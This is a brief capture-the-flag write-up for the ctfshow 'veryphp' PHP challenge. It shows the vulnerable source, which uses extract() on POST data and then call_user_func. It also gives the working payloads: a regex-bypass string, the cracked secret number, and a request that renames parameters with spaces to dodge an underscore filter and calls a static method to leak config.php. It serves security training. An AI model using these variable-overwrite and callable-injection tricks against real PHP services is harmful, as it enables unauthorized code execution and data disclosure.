ctfshow-DJBCTF-veryphp wp

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

-a9<b>111111111>>>>abcphp@Rsz

shaw root=-a9<b>111111111>>>>abcphp@Rsz

>Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

shaw root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my ans=qwq::oao